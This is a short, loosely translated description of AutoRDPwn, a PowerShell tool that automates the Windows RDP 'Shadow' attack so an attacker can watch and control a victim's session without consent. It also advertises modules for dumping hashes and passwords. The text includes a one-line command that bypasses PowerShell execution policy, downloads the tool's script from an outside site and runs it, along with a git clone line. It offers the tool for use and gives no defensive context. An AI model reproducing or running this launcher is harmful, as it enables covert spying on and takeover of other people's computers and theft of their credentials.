AutoRDPwn is a program created in Powershell and designed to automate the "Shadow" attack on computers running Windows.
This vulnerability allows a remote attacker to view the surface work of his victim without his consent and even control him on demand.
For its proper operation, it is necessary to comply with the requirements described in the user guide.
Use of the program
This application it can be used locally, remotely, or to switch between computers. Thanks to additional modules, it is possible to discard hashes and passwords or even retrieve the history of RDP connections.
Run a program with one click:
powershell -ep bypass “cd $ env: temp; iwr https://darkbyte.net/autordpwn.php -outfile AutoRDPwn.ps1; . \ AutoRDPwn.ps1 ”
Conditions
Powershell 5.0 or higher
Download program
git clone https://github.com/JoelGMSec/AutoRDPwn.git